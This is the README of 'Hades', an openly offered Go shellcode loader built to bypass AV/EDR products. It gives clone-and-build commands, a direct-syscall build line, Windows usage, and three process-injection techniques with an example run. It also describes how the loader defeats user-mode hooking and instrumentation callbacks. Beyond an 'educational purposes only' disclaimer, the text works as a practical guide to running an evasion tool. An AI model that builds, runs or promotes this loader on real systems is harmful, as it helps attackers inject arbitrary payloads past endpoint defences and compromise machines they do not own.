Hades - Go Shellcode Loader That Combines Multiple Evasion Techniques

Hades is a proof of concept loader that combines several evasion technques with the aim of bypassing the defensive mechanisms commonly used by modern AV/EDRs.

Usage

The easiest way, is probably building the project on Linux using make.

git clone https://github.com/f1zm0/hades && cd hades
make

Then you can bring the executable to a x64 Windows host and run it with .\hades.exe [options].

PS > .\hades.exe -h

  '||'  '||'     |     '||''|.   '||''''|   .|'''.|
   ||    ||     |||     ||   ||   ||  .     ||..  '
   ||''''||    |  ||    ||    ||  ||''|      ''|||.
   ||    ||   .''''|.   ||    ||  ||       .     '||
  .||.  .||. .|.  .||. .||...|'  .||.....| |'....|'

          version: dev [11/01/23] :: @f1zm0

Usage:
  hades -f <filepath> [-t selfthread|remotethread|queueuserapc]

Options:
  -f, --file <str>        shellcode file path (.bin)
  -t, --technique <str>   injection technique [selfthread, remotethread, queueuserapc]

Example:

Inject shellcode that spawms calc.exe with queueuserapc technique:

.\hades.exe -f calc.bin -t queueuserapc

Showcase

User-mode hooking bypass with syscall RVA sorting (NtQueueApcThread hooked with frida-trace and custom handler)

Instrumentation callback bypass with indirect syscalls (injected DLL is from syscall-detect by jackullrich)

Additional Notes

Direct syscall version

In the latest release, direct syscall capabilities have been replaced by indirect syscalls provided by acheron. If for some reason you want to use the previous version of the loader that used direct syscalls, you need to explicitly pass the direct_syscalls tag to the compiler, which will figure out what files needs to be included and excluded from the build.

GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go

Disclaimers

Warning
This project has been created for educational purposes only, to experiment with malware dev in Go, and learn more about the unsafe package and the weird Go Assembly syntax. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper use of this tool.

Credits

Shoutout to the following people that shared their knowledge and code that inspired this tool:

• @smelly__vx and @am0nsec creators of Hell's Gate
• @modexp's excellent blog post Bypassing User-Mode Hooks and syscall invocation in C
• @ElephantSe4l creator of FreshyCalls
• @C_Sto creator of BananaPhone
• @winternl for this blog post on Hooking Nirvana and instrumentation callback to detect suspicious syscalls from user-mode.

License

This project is licensed under the GPLv3 License - see the LICENSE file for details